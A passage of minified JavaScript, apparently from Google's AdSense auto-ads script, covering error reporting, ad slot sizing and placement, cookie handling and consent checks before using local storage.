b=a.match(/\bdeid=([\d,]+)/);Vh=b?b[1]:""}}catch(c){}}return Vh};function Xh(){var a=void 0===a?w:a;return(a=a.performance)&&a.now&&a.timing?Math.floor(a.now()+a.timing.navigationStart):Date.now()}function Yh(){var a=void 0===a?w:a;return(a=a.performance)&&a.now?a.now():null};function Zh(a,b){var c=Yh()||Xh();this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=Math.random();this.slotId=void 0};var $h=w.performance,ai=!!($h&&$h.mark&&$h.measure&&$h.clearMarks),bi=vc(function(){var a;if(a=ai)a=Wh(),a=!!a.indexOf&&0<=a.indexOf("1337");return a});function ci(){this.i=[];this.j=w||w;var a=null;w&&(w.google_js_reporting_queue=w.google_js_reporting_queue||[],this.i=w.google_js_reporting_queue,a=w.google_measure_js_timing);this.h=bi()||(null!=a?a:1>Math.random())} function di(a){a&&$h&&bi()&&($h.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_start"),$h.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_end"))}ci.prototype.start=function(a,b){if(!this.h)return null;a=new Zh(a,b);b="goog_"+a.label+"_"+a.uniqueId+"_start";$h&&bi()&&$h.mark(b);return a};ci.prototype.end=function(a){if(this.h&&"number"===typeof a.value){a.duration=(Yh()||Xh())-a.value;var b="goog_"+a.label+"_"+a.uniqueId+"_end";$h&&bi()&&$h.mark(b);!this.h||2048<this.i.length||this.i.push(a)}};function ei(){var a=fi;this.m=Pf;this.i=null;this.l=this.I;this.h=void 0===a?null:a;this.j=!1}n=ei.prototype;n.Ua=function(a){this.l=a};n.Ta=function(a){this.i=a};n.Va=function(a){this.j=a};n.oa=function(a,b,c){try{if(this.h&&this.h.h){var d=this.h.start(a.toString(),3);var e=b();this.h.end(d)}else e=b()}catch(h){b=!0;try{di(d),b=this.l(a,new Qh(h,{message:gi(h)}),void 0,c)}catch(k){this.I(217,k)}if(b){var f,g;null==(f=window.console)||null==(g=f.error)||g.call(f,h)}else throw h;}return e}; n.Oa=function(a,b){var c=this;return function(){var d=ta.apply(0,arguments);return c.oa(a,function(){return b.apply(void 0,d)})}}; n.I=function(a,b,c,d,e){e=e||"jserror";try{var f=new Hf;f.h.push(1);f.i[1]=If("context",a);Rh(b)||(b=new Qh(b,{message:gi(b)}));if(b.msg){var g=b.msg.substring(0,512);f.h.push(2);f.i[2]=If("msg",g)}var h=b.meta||{};if(this.i)try{this.i(h)}catch(Jc){}if(d)try{d(h)}catch(Jc){}b=[h];f.h.push(3);f.i[3]=b;d=w;b=[];g=null;do{var k=d;if(Hc(k)){var l=k.location.href;g=k.document&&k.document.referrer||null}else l=g,g=null;b.push(new Uh(l||"",k));try{d=k.parent}catch(Jc){d=null}}while(d&&k!=d);l=0;for(var m= b.length-1;l<=m;++l)b[l].depth=m-l;k=w;if(k.location&&k.location.ancestorOrigins&&k.location.ancestorOrigins.length==b.length-1)for(m=1;m<b.length;++m){var q=b[m];q.url||(q.url=k.location.ancestorOrigins[m-1]||"",q.La=!0)}var t=new Uh(w.location.href,w,!1);k=null;var y=b.length-1;for(q=y;0<=q;--q){var F=b[q];!k&&Sh.test(F.url)&&(k=F);if(F.url&&!F.La){t=F;break}}F=null;var z=b.length&&b[y].url;0!=t.depth&&z&&(F=b[y]);var E=new Th(t,F);if(E.i){var S=E.i.url||"";f.h.push(4);f.i[4]=If("top",S)}var rb= {url:E.h.url||""};if(E.h.url){var Kc=E.h.url.match(Ec),Ug=Kc[1],Vg=Kc[3],Wg=Kc[4];t="";Ug&&(t+=Ug+":");Vg&&(t+="//",t+=Vg,Wg&&(t+=":"+Wg));var Xg=t}else Xg="";rb=[rb,{url:Xg}];f.h.push(5);f.i[5]=rb;Qf(this.m,e,f,this.j,c)}catch(Jc){try{Qf(this.m,e,{context:"ecmserr",rctx:a,msg:gi(Jc),url:E&&E.h.url},this.j,c)}catch(zp){}}return!0};n.Pa=function(a,b){var c=this;b.catch(function(d){d=d?d:"unknown rejection";c.I(a,d instanceof Error?d:Error(d))})}; function gi(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;try{-1==a.indexOf(b)&&(a=b+"\n"+a);for(var c;a!=c;)c=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,"$1");b=a.replace(/\n */g,"\n")}catch(d){}}return b};var hi=ja(["https://www.googletagservices.com/console/host/host.js"]),ii=ja(["https://www.googletagservices.com/console/panel/index.html"]),ji=ja(["https://www.googletagservices.com/console/overlay/index.html"]);nd(hi);nd(ii);nd(ji);function ki(a,b){do{var c=Nc(a,b);if(c&&"fixed"==c.position)return!1}while(a=a.parentElement);return!0};function li(a,b){for(var c=["width","height"],d=0;d<c.length;d++){var e="google_ad_"+c[d];if(!b.hasOwnProperty(e)){var f=K(a[c[d]]);f=null===f?null:Math.round(f);null!=f&&(b[e]=f)}}}function mi(a,b){return!((Yc.test(b.google_ad_width)||Xc.test(a.style.width))&&(Yc.test(b.google_ad_height)||Xc.test(a.style.height)))}function ni(a,b){return(a=oi(a,b))?a.y:0} function oi(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();return{x:d.left-c.left,y:d.top-c.top}}catch(e){return null}}function pi(a){var b=0,c;for(c in Df)-1!=a.indexOf(c)&&(b|=Df[c]);return b} function qi(a,b,c,d,e){if(a!==a.top)return Ic(a)?3:16;if(!(488>Wf(a)))return 4;if(!(a.innerHeight>=a.innerWidth))return 5;var f=Wf(a);if(!f||(f-c)/f>d)a=6;else{if(c="true"!=e.google_full_width_responsive)a:{c=Wf(a);for(b=b.parentElement;b;b=b.parentElement)if((d=Nc(b,a))&&(e=K(d.width))&&!(e>=c)&&"visible"!=d.overflow){c=!0;break a}c=!1}a=c?7:!0}return a} function ri(a,b,c,d){var e=qi(b,c,a,.3,d);!0!==e?a=e:"true"==d.google_full_width_responsive||ki(c,b)?(b=Wf(b),a=b-a,a=b&&0<=a?!0:b?-10>a?11:0>a?14:12:10):a=9;return a}function si(a,b,c){a=a.style;"rtl"==b?a.marginRight=c:a.marginLeft=c} function ti(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=Nc(b,a)}catch(d){}return!c||"none"!=c.display&&!("absolute"==c.position&&("hidden"==c.visibility||"collapse"==c.visibility))}return!1}function ui(a,b,c){a=oi(b,a);return"rtl"==c?-a.x:a.x} function vi(a,b){var c;c=(c=b.parentElement)?(c=Nc(c,a))?c.direction:"":"";if(c){b.style.border=b.style.borderStyle=b.style.outline=b.style.outlineStyle=b.style.transition="none";b.style.borderSpacing=b.style.padding="0";si(b,c,"0px");b.style.width=Wf(a)+"px";if(0!==ui(a,b,c)){si(b,c,"0px");var d=ui(a,b,c);si(b,c,-1*d+"px");a=ui(a,b,c);0!==a&&a!==d&&si(b,c,d/(a-d)*d+"px")}b.style.zIndex=30}};function wi(a,b){this.l=a;this.j=b}wi.prototype.minWidth=function(){return this.l};wi.prototype.height=function(){return this.j};wi.prototype.h=function(a){return 300<a&&300<this.j?this.l:Math.min(1200,Math.round(a))};wi.prototype.i=function(){};function xi(a,b,c,d){d=void 0===d?function(f){return f}:d;var e;return a.style&&a.style[c]&&d(a.style[c])||(e=Nc(a,b))&&e[c]&&d(e[c])||null}function yi(a){return function(b){return b.minWidth()<=a}}function zi(a,b,c,d){var e=a&&Ai(c,b),f=Bi(b,d);return function(g){return!(e&&g.height()>=f)}}function Ci(a){return function(b){return b.height()<=a}}function Ai(a,b){return ni(a,b)<Vf(b).clientHeight-100} function Di(a,b){var c=xi(b,a,"height",K);if(c)return c;var d=b.style.height;b.style.height="inherit";c=xi(b,a,"height",K);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&&K(b.style.height))&&(c=Math.min(c,d)),(d=xi(b,a,"maxHeight",K))&&(c=Math.min(c,d));while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Bi(a,b){var c=0==pd(a);return b&&c?Math.max(250,2*Vf(a).clientHeight/3):250};var R={},Ei=(R.google_ad_channel=!0,R.google_ad_client=!0,R.google_ad_host=!0,R.google_ad_host_channel=!0,R.google_adtest=!0,R.google_tag_for_child_directed_treatment=!0,R.google_tag_for_under_age_of_consent=!0,R.google_tag_partner=!0,R.google_restrict_data_processing=!0,R.google_page_url=!0,R.google_debug_params=!0,R.google_adbreak_test=!0,R.google_ad_frequency_hint=!0,R.google_admob_interstitial_slot=!0,R.google_admob_rewarded_slot=!0,R.google_max_ad_content_rating=!0,R.google_traffic_source=!0, R),Fi=RegExp("(^| )adsbygoogle($| )");function Gi(a,b){for(var c=0;c<b.length;c++){var d=b[c],e=zc(d.Rb);a[e]=d.value}};function Hi(a,b,c,d){this.l=a;this.i=b;this.j=c;this.h=d}function Ii(a,b){var c=[];try{c=b.querySelectorAll(a.l)}catch(g){}if(!c.length)return[];b=Ya(c);b=Ji(a,b);"number"===typeof a.i&&(c=a.i,0>c&&(c+=b.length),b=0<=c&&c<b.length?[b[c]]:[]);if("number"===typeof a.j){c=[];for(var d=0;d<b.length;d++){var e=Ki(b[d]),f=a.j;0>f&&(f+=e.length);0<=f&&f<e.length&&c.push(e[f])}b=c}return b} Hi.prototype.toString=function(){return JSON.stringify({nativeQuery:this.l,occurrenceIndex:this.i,paragraphIndex:this.j,ignoreMode:this.h})};function Ji(a,b){if(null==a.h)return b;switch(a.h){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error("Unknown ignore mode: "+a.h);}}function Ki(a){var b=[];xd(a.getElementsByTagName("p"),function(c){100<=Li(c)&&b.push(c)});return b} function Li(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||"SCRIPT"==a.tagName)return 0;var b=0;xd(a.childNodes,function(c){b+=Li(c)});return b}function Mi(a){return 0==a.length||isNaN(a[0])?a:"\\"+(30+parseInt(a[0],10))+" "+a.substring(1)};function Ni(a){if(!a)return null;var b=A(a,7);if(A(a,1)||a.getId()||0<wb(a,4).length){var c=a.getId();b=wb(a,4);var d=A(a,1),e="";d&&(e+=d);c&&(e+="#"+Mi(c));if(b)for(c=0;c<b.length;c++)e+="."+Mi(b[c]);a=(b=e)?new Hi(b,A(a,2),A(a,5),Oi(A(a,6))):null}else a=b?new Hi(b,A(a,2),A(a,5),Oi(A(a,6))):null;return a}var Pi={1:1,2:2,3:3,0:0};function Oi(a){return null==a?a:Pi[a]}var Qi={1:0,2:1,3:2,4:3};function Ri(a){return a.google_ama_state=a.google_ama_state||{}} function Si(a){a=Ri(a);return a.optimization=a.optimization||{}};function Ti(a){switch(A(a,8)){case 1:case 2:if(null==a)var b=null;else b=G(a,Jd,1),null==b?b=null:(a=A(a,2),b=null==a?null:new Ld({Ga:[b],Ra:a}));return null!=b?Dd(b):Fd(Error("Missing dimension when creating placement id"));case 3:return Fd(Error("Missing dimension when creating placement id"));default:return Fd(Error("Invalid type: "+A(a,8)))}};function T(a){a=void 0===a?"":a;var b=Error.call(this);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.name="TagError";this.message=a?"adsbygoogle.push() error: "+a:"";Error.captureStackTrace?Error.captureStackTrace(this,T):this.stack=Error().stack||""}v(T,Error);var Pf,Ui,fi=new ci;function Vi(a){null!=a&&(w.google_measure_js_timing=a);w.google_measure_js_timing||(a=fi,a.h=!1,a.i!=a.j.google_js_reporting_queue&&(bi()&&Ra(a.i,di),a.i.length=0))}(function(a){Pf=a||new Nf;"number"!==typeof w.google_srt&&(w.google_srt=Math.random());Of();Ui=new ei;Ui.Va(!0);"complete"==w.document.readyState?Vi():fi.h&&xc(w,"load",function(){Vi()})})();function Wi(a,b,c){return Ui.oa(a,b,c)}function Xi(a,b){return Ui.Oa(a,b)} function Yi(a,b,c){var d=O(Oh).h();!b.eid&&d.length&&(b.eid=d.toString());Qf(Pf,a,b,!0,c)}function Zi(a,b){Ui.Pa(a,b)}function $i(a,b,c,d){var e;Rh(b)?e=b.msg||gi(b.error):e=gi(b);return 0==e.indexOf("TagError")?(c=b instanceof Qh?b.error:b,c.pbr||(c.pbr=!0,Ui.I(a,b,.1,d,"puberror")),!1):Ui.I(a,b,c,d)};function aj(a){a=void 0===a?window:a;a=a.googletag;return(null==a?0:a.apiReady)?a:void 0};function bj(a){var b=aj(a);return b?Sa(Ta(b.pubads().getSlots(),function(c){return a.document.getElementById(c.getSlotElementId())}),function(c){return null!=c}):null}function cj(a,b){return Ya(a.document.querySelectorAll(b))}function dj(a){var b=[];a=u(a);for(var c=a.next();!c.done;c=a.next()){c=c.value;for(var d=!0,e=0;e<b.length;e++){var f=b[e];if(f.contains(c)){d=!1;break}if(c.contains(f)){d=!1;b[e]=c;break}}d&&b.push(c)}return b};function ej(a,b){function c(){d.push({anchor:e.anchor,position:e.position});return e.anchor==b.anchor&&e.position==b.position}for(var d=[],e=a;e;){switch(e.position){case 1:if(c())return d;e.position=2;case 2:if(c())return d;if(e.anchor.firstChild){e={anchor:e.anchor.firstChild,position:1};continue}else e.position=3;case 3:if(c())return d;e.position=4;case 4:if(c())return d}for(;e&&!e.anchor.nextSibling&&e.anchor.parentNode!=e.anchor.ownerDocument.body;){e={anchor:e.anchor.parentNode,position:3}; if(c())return d;e.position=4;if(c())return d}e&&e.anchor.nextSibling?e={anchor:e.anchor.nextSibling,position:1}:e=null}return d};function fj(a,b){this.i=a;this.h=b} function gj(a,b){var c=new Id,d=new Hd;b.forEach(function(e){if(Ib(e,Yd,1,ae)){e=Ib(e,Yd,1,ae);if(G(e,Wd,1)&&G(G(e,Wd,1),Jd,1)&&G(e,Wd,2)&&G(G(e,Wd,2),Jd,1)){var f=hj(a,G(G(e,Wd,1),Jd,1)),g=hj(a,G(G(e,Wd,2),Jd,1));if(f&&g)for(f=u(ej({anchor:f,position:A(G(e,Wd,1),2)},{anchor:g,position:A(G(e,Wd,2),2)})),g=f.next();!g.done;g=f.next())g=g.value,c.set(za(g.anchor),g.position)}G(e,Wd,3)&&G(G(e,Wd,3),Jd,1)&&(f=hj(a,G(G(e,Wd,3),Jd,1)))&&c.set(za(f),A(G(e,Wd,3),2))}else Ib(e,Zd,2,ae)?ij(a,Ib(e,Zd,2,ae), c):Ib(e,$d,3,ae)&&jj(a,Ib(e,$d,3,ae),d)});return new fj(c,d)}function ij(a,b,c){G(b,Jd,1)&&(a=kj(a,G(b,Jd,1)))&&a.forEach(function(d){d=za(d);c.set(d,1);c.set(d,4);c.set(d,2);c.set(d,3)})}function jj(a,b,c){G(b,Jd,1)&&(a=kj(a,G(b,Jd,1)))&&a.forEach(function(d){c.add(za(d))})}function hj(a,b){return(a=kj(a,b))&&0<a.length?a[0]:null}function kj(a,b){return(b=Ni(b))?Ii(b,a):null};function lj(){this.h=new p.Set}function mj(a){a=nj(a);return a.has("all")||a.has("after")}function oj(a){a=nj(a);return a.has("all")||a.has("before")}function pj(a,b,c){switch(c){case 2:case 3:break;case 1:case 4:b=b.parentElement;break;default:throw Error("Unknown RelativePosition: "+c);}for(c=[];b;){if(qj(b))return!0;if(a.h.has(b))break;c.push(b);b=b.parentElement}c.forEach(function(d){return a.h.add(d)});return!1} function qj(a){var b=nj(a);return a&&("AUTO-ADS-EXCLUSION-AREA"===a.tagName||b.has("inside")||b.has("all"))}function nj(a){return(a=a&&a.getAttribute("data-no-auto-ads"))?new p.Set(a.split("|")):new p.Set};function rj(a,b){if(!a)return!1;a=Nc(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return"left"==a||"right"==a}function sj(a){for(a=a.previousSibling;a&&1!=a.nodeType;)a=a.previousSibling;return a?a:null}function tj(a){return!!a.nextSibling||!!a.parentNode&&tj(a.parentNode)};function uj(a){var b={};a&&wb(a,6).forEach(function(c){b[c]=!0});return b}function vj(a,b,c,d,e){this.h=a;this.H=b;this.j=c;this.m=e||null;this.A=(this.C=d)?gj(a.document,H(d,Xd,5)):gj(a.document,[]);this.G=new lj;this.i=0;this.l=!1} function wj(a,b){if(a.l)return!0;a.l=!0;var c=H(a.j,ce,1);a.i=0;var d=uj(a.C);var e=a.h;try{var f=e.localStorage.getItem("google_ama_settings");var g=f?Nb(se,f):null}catch(S){g=null}var h=null!==g&&D(g,2,!1);g=Ri(e);h&&(g.eatf=!0,kd(7,[!0,0,!1]));var k=P(Ve)||P(Ue);f=P(Ue);if(k){b:{var l={fb:!1},m=cj(e,".google-auto-placed"),q=cj(e,'ins.adsbygoogle[data-anchor-shown="true"]'),t=cj(e,"ins.adsbygoogle[data-ad-format=autorelaxed]");var y=(bj(e)||cj(e,"div[id^=div-gpt-ad]")).concat(cj(e,"iframe[id^=google_ads_iframe]")); var F=cj(e,"div.trc_related_container,div.OUTBRAIN,div[id^=rcjsload],div[id^=ligatusframe],div[id^=crt-],iframe[id^=cto_iframe],div[id^=yandex_], div[id^=Ya_sync],iframe[src*=adnxs],div.advertisement--appnexus,div[id^=apn-ad],div[id^=amzn-native-ad],iframe[src*=amazon-adsystem],iframe[id^=ox_],iframe[src*=openx],img[src*=openx],div[class*=adtech],div[id^=adtech],iframe[src*=adtech],div[data-content-ad-placement=true],div.wpcnt div[id^=atatags-]"),z=cj(e,"ins.adsbygoogle-ablated-ad-slot"),E=cj(e,"div.googlepublisherpluginad"); k=[].concat(cj(e,"iframe[id^=aswift_],iframe[id^=google_ads_frame]"),cj(e,"ins.adsbygoogle"));h=[];l=u([[l.Mb,m],[l.fb,q],[l.Pb,t],[l.Nb,y],[l.Qb,F],[l.Lb,z],[l.Ob,E]]);for(m=l.next();!m.done;m=l.next())q=u(m.value),m=q.next().value,q=q.next().value,!1===m?h=h.concat(q):k=k.concat(q);k=dj(k);l=dj(h);h=k.slice(0);k=u(l);for(l=k.next();!l.done;l=k.next())for(l=l.value,m=0;m<h.length;m++)(l.contains(h[m])||h[m].contains(l))&&h.splice(m,1);e=Vf(e).clientHeight;for(k=0;k<h.length;k++)if(l=h[k].getBoundingClientRect(), !(0===l.height&&!f||l.top>e)){e=!0;break b}e=!1}g=e?g.eatfAbg=!0:!1}else g=h;if(g)return!0;g=new Hd([2]);for(e=0;e<c.length;e++){f=a;k=c[e];h=e;l=b;if(!G(k,Pd,4)||!g.contains(A(G(k,Pd,4),1))||1!==A(k,8)||k&&null!=A(k,4)&&d[A(G(k,Pd,4),2)])f=null;else{f.i++;if(k=xj(f,k,l,d))l=Ri(f.h),l.numAutoAdsPlaced||(l.numAutoAdsPlaced=0),null==l.placed&&(l.placed=[]),l.numAutoAdsPlaced++,l.placed.push({index:h,element:k.ha}),kd(7,[!1,f.i,!0]);f=k}if(f)return!0}kd(7,[!1,a.i,!1]);return!1} function xj(a,b,c,d){if(b&&null!=A(b,4)&&d[A(G(b,Pd,4),2)]||1!=A(b,8))return null;d=G(b,Jd,1);if(!d)return null;d=Ni(d);if(!d)return null;d=Ii(d,a.h.document);if(0==d.length)return null;d=d[0];var e=Qi[A(b,2)];e=void 0===e?null:e;var f;if(!(f=null==e)){a:{f=a.h;switch(e){case 0:f=rj(sj(d),f);break a;case 3:f=rj(d,f);break a;case 2:var g=d.lastChild;f=rj(g?1==g.nodeType?g:sj(g):null,f);break a}f=!1}if(c=!f&&!(!c&&2==e&&!tj(d)))c=1==e||2==e?d:d.parentNode,c=!(c&&!te(c)&&0>=c.offsetWidth);f=!c}if(!(c= f)){c=a.A;f=A(b,2);g=za(d);g=c.i.h.get(g);if(!(g=g?g.contains(f):!1))a:{if(c.h.contains(za(d)))switch(f){case 2:case 3:g=!0;break a;default:g=!1;break a}for(f=d.parentElement;f;){if(c.h.contains(za(f))){g=!0;break a}f=f.parentElement}g=!1}c=g}if(!c){c=a.G;f=A(b,2);a:switch(f){case 1:g=mj(d.previousElementSibling)||oj(d);break a;case 4:g=mj(d)||oj(d.nextElementSibling);break a;case 2:g=oj(d.firstElementChild);break a;case 3:g=mj(d.lastElementChild);break a;default:throw Error("Unknown RelativePosition: "+ f);}c=g||pj(c,d,f)}if(c)return null;c=G(b,be,3);f={};c&&(f.Wa=A(c,1),f.Ha=A(c,2),f.cb=!!xb(c,3));c=G(b,Pd,4)&&A(G(b,Pd,4),2)?A(G(b,Pd,4),2):null;c=Sd(c);g=null!=A(b,12)?A(b,12):null;g=null==g?null:new Qd(null,{google_ml_rank:g});b=yj(a,b);b=Rd(a.m,c,g,b);c=a.h;a=a.H;var h=c.document,k=f.cb||!1;g=(new Bc(h)).createElement("DIV");var l=g.style;l.width="100%";l.height="auto";l.clear=k?"both":"none";k=g.style;k.textAlign="center";f.lb&&Gi(k,f.lb);h=(new Bc(h)).createElement("INS");k=h.style;k.display= "block";k.margin="auto";k.backgroundColor="transparent";f.Wa&&(k.marginTop=f.Wa);f.Ha&&(k.marginBottom=f.Ha);f.ab&&Gi(k,f.ab);g.appendChild(h);f={ra:g,ha:h};f.ha.setAttribute("data-ad-format","auto");g=[];if(h=b&&b.Ja)f.ra.className=h.join(" ");h=f.ha;h.className="adsbygoogle";h.setAttribute("data-ad-client",a);g.length&&h.setAttribute("data-ad-channel",g.join("+"));a:{try{var m=f.ra;var q=void 0===q?0:q;if(P(Qe)){q=void 0===q?0:q;var t=Af(d,e,q);if(t.init){var y=t.init;for(d=y;d=t.ja(d);)y=d;var F= {anchor:y,position:t.na}}else F={anchor:d,position:e};m["google-ama-order-assurance"]=q;ue(m,F.anchor,F.position)}else ue(m,d,e);b:{var z=f.ha;z.dataset.adsbygoogleStatus="reserved";z.className+=" adsbygoogle-noablate";m={element:z};var E=b&&b.Qa;if(z.hasAttribute("data-pub-vars")){try{E=JSON.parse(z.getAttribute("data-pub-vars"))}catch(S){break b}z.removeAttribute("data-pub-vars")}E&&(m.params=E);(c.adsbygoogle=c.adsbygoogle||[]).push(m)}}catch(S){(z=f.ra)&&z.parentNode&&(E=z.parentNode,E.removeChild(z), te(E)&&(E.style.display=E.getAttribute("data-init-display")||"none"));z=!1;break a}z=!0}return z?f:null}function yj(a,b){return Bd(Ed(Ti(b).map(Td),function(c){Ri(a.h).exception=c}))};function zj(a){if(P(Pe))var b=null;else try{b=a.getItem("google_ama_config")}catch(d){b=null}try{var c=b?Nb(je,b):null}catch(d){c=null}return c};function Aj(a){J.call(this,a)}v(Aj,J);function Bj(a){try{var b=a.localStorage.getItem("google_auto_fc_cmp_setting")||null}catch(d){b=null}var c=b;return c?Gd(function(){return Nb(Aj,c)}):Dd(null)};function Cj(){this.S={}}function Dj(){if(Ej)return Ej;var a=md()||window,b=a.google_persistent_state_async;return null!=b&&"object"==typeof b&&null!=b.S&&"object"==typeof b.S?Ej=b:a.google_persistent_state_async=Ej=new Cj}function Fj(a){return Gj[a]||"google_ps_"+a}function Hj(a,b,c){b=Fj(b);a=a.S;var d=a[b];return void 0===d?a[b]=c:d}var Ej=null,Ij={},Gj=(Ij[8]="google_prev_ad_formats_by_region",Ij[9]="google_prev_ad_slotnames_by_region",Ij);function Jj(a){this.h=a||{cookie:""}} Jj.prototype.set=function(a,b,c){var d=!1;if("object"===typeof c){var e=c.Sb;d=c.Tb||!1;var f=c.domain||void 0;var g=c.path||void 0;var h=c.jb}if(/[;=\s]/.test(a))throw Error('Invalid cookie name "'+a+'"');if(/[;\r\n]/.test(b))throw Error('Invalid cookie value "'+b+'"');void 0===h&&(h=-1);this.h.cookie=a+"="+b+(f?";domain="+f:"")+(g?";path="+g:"")+(0>h?"":0==h?";expires="+(new Date(1970,1,1)).toUTCString():";expires="+(new Date(Date.now()+1E3*h)).toUTCString())+(d?";secure":"")+(null!=e?";samesite="+ e:"")};Jj.prototype.get=function(a,b){for(var c=a+"=",d=(this.h.cookie||"").split(";"),e=0,f;e<d.length;e++){f=Ja(d[e]);if(0==f.lastIndexOf(c,0))return f.substr(c.length);if(f==a)return""}return b};Jj.prototype.isEmpty=function(){return!this.h.cookie}; Jj.prototype.clear=function(){for(var a=(this.h.cookie||"").split(";"),b=[],c=[],d,e,f=0;f<a.length;f++)e=Ja(a[f]),d=e.indexOf("="),-1==d?(b.push(""),c.push(e)):(b.push(e.substring(0,d)),c.push(e.substring(d+1)));for(a=b.length-1;0<=a;a--)c=b[a],this.get(c),this.set(c,"",{jb:0,path:void 0,domain:void 0})};function Kj(a){J.call(this,a)}v(Kj,J);function Lj(a){var b=new Kj;return B(b,5,a)};function Mj(){this.A=this.A;this.G=this.G}Mj.prototype.A=!1;Mj.prototype.j=function(){if(this.G)for(;this.G.length;)this.G.shift()()};function Nj(a){void 0!==a.addtlConsent&&"string"!==typeof a.addtlConsent&&(a.addtlConsent=void 0);void 0!==a.gdprApplies&&"boolean"!==typeof a.gdprApplies&&(a.gdprApplies=void 0);return void 0!==a.tcString&&"string"!==typeof a.tcString||void 0!==a.listenerId&&"number"!==typeof a.listenerId?2:a.cmpStatus&&"error"!==a.cmpStatus?0:3}function Oj(a,b){b=void 0===b?500:b;Mj.call(this);this.h=a;this.i=null;this.m={};this.H=0;this.C=b;this.l=null}v(Oj,Mj); Oj.prototype.j=function(){this.m={};this.l&&(yc(this.h,this.l),delete this.l);delete this.m;delete this.h;delete this.i;Mj.prototype.j.call(this)};function Pj(a){return"function"===typeof a.h.__tcfapi||null!=Qj(a)} Oj.prototype.addEventListener=function(a){function b(f,g){clearTimeout(e);f?(c=f,c.internalErrorState=Nj(c),g&&0===c.internalErrorState||(c.tcString="tcunavailable",g||(c.internalErrorState=3))):(c.tcString="tcunavailable",c.internalErrorState=3);a(c)}var c={},d=wc(function(){return a(c)}),e=0;-1!==this.C&&(e=setTimeout(function(){c.tcString="tcunavailable";c.internalErrorState=1;d()},this.C));try{Rj(this,"addEventListener",b)}catch(f){c.tcString="tcunavailable",c.internalErrorState=3,e&&(clearTimeout(e), e=0),d()}};Oj.prototype.removeEventListener=function(a){a&&a.listenerId&&Rj(this,"removeEventListener",null,a.listenerId)};function Rj(a,b,c,d){c||(c=function(){});if("function"===typeof a.h.__tcfapi)a=a.h.__tcfapi,a(b,2,c,d);else if(Qj(a)){Sj(a);var e=++a.H;a.m[e]=c;a.i&&(c={},a.i.postMessage((c.__tcfapiCall={command:b,version:2,callId:e,parameter:d},c),"*"))}else c({},!1)}function Qj(a){if(a.i)return a.i;a.i=$c(a.h,"__tcfapiLocator");return a.i} function Sj(a){a.l||(a.l=function(b){try{var c=("string"===typeof b.data?JSON.parse(b.data):b.data).__tcfapiReturn;a.m[c.callId](c.returnValue,c.success)}catch(d){}},xc(a.h,"message",a.l))};function Tj(a){var b=a.u,c=a.ta,d=a.Ia;a=Uj({u:b,Z:a.Z,ka:void 0===a.ka?!1:a.ka,la:void 0===a.la?!1:a.la});null!=a.h||"tcunav"!=a.i.message?d(a):Vj(b,c).then(function(e){return e.map(Wj)}).then(function(e){return e.map(function(f){return Xj(b,f)})}).then(d)} function Uj(a){var b=a.u,c=a.Z,d=void 0===a.ka?!1:a.ka;if(!(a=!(void 0===a.la?0:a.la)&&Pj(new Oj(b)))){if(d=!d){if(c){c=Bj(b);if(null==c.h)Ui.I(806,c.i,void 0,void 0),c=!1;else if((c=c.h.value)&&null!=A(c,1))b:switch(c=A(c,1),c){case 1:c=!0;break b;default:throw Error("Unhandled AutoGdprFeatureStatus: "+c);}else c=!1;c=!c}d=c}a=d}if(!a)return Xj(b,Lj(!0));c=Dj();return(c=Hj(c,24))?Xj(b,Wj(c)):Fd(Error("tcunav"))}function Vj(a,b){return p.Promise.race([Yj(),Zj(a,b)])} function Yj(){return(new p.Promise(function(a){var b=Dj();a={resolve:a};var c=Hj(b,25,[]);c.push(a);b.S[Fj(25)]=c})).then(ak)}function Zj(a,b){return new p.Promise(function(c){a.setTimeout(c,b,Fd(Error("tcto")))})}function ak(a){return a?Dd(a):Fd(Error("tcnull"))} function Wj(a){var b=void 0===b?!1:b;if(!1===a.gdprApplies)var c=!0;else void 0===a.internalErrorState&&(a.internalErrorState=Nj(a)),c="error"===a.cmpStatus||0!==a.internalErrorState||"loaded"===a.cmpStatus&&("tcloaded"===a.eventStatus||"useractioncomplete"===a.eventStatus)?!0:!1;if(c)if(!1===a.gdprApplies||"tcunavailable"===a.tcString||void 0===a.gdprApplies&&!b||"string"!==typeof a.tcString||!a.tcString.length)a=!0;else{var d=void 0===d?"755":d;b:{if(a.publisher&&a.publisher.restrictions&&(b=a.publisher.restrictions["1"], void 0!==b)){b=b[void 0===d?"755":d];break b}b=void 0}0===b?a=!1:a.purpose&&a.vendor?(b=a.vendor.consents,(d=!(!b||!b[void 0===d?"755":d]))&&a.purposeOneTreatment&&"CH"===a.publisherCC?a=!0:(d&&(a=a.purpose.consents,d=!(!a||!a["1"])),a=d)):a=!0}else a=!1;return Lj(a)}function Xj(a,b){a:{a=void 0===a?window:a;if(xb(b,5))try{var c=a.localStorage;break a}catch(d){}c=null}return(b=c)?Dd(b):Fd(Error("unav"))};function bk(a){J.call(this,a)}v(bk,J);function ck(a){J.call(this,a,-1,dk)}v(ck,J);var dk=[1,2];function ek(a){this.exception=a}function fk(a,b,c){this.j=a;this.h=b;this.i=c}fk.prototype.start=function(){this.l()};fk.prototype.l=function(){try{switch(this.j.document.readyState){case "complete":case "interactive":wj(this.h,!0);gk(this);break;default:wj(this.h,!1)?gk(this):this.j.setTimeout(Ea(this.l,this),100)}}catch(a){gk(this,a)}};function gk(a,b){try{var c=a.i,d=c.resolve,e=a.h;Ri(e.h);H(e.j,ce,1);d.call(c,new ek(b))}catch(f){a.i.reject(f)}};function hk(a){J.call(this,a,-1,ik)}v(hk,J);function jk(a){J.call(this,a)}v(jk,J);function kk(a){J.call(this,a)}v(kk,J);var ik=[7];function lk(a){a=(a=(new 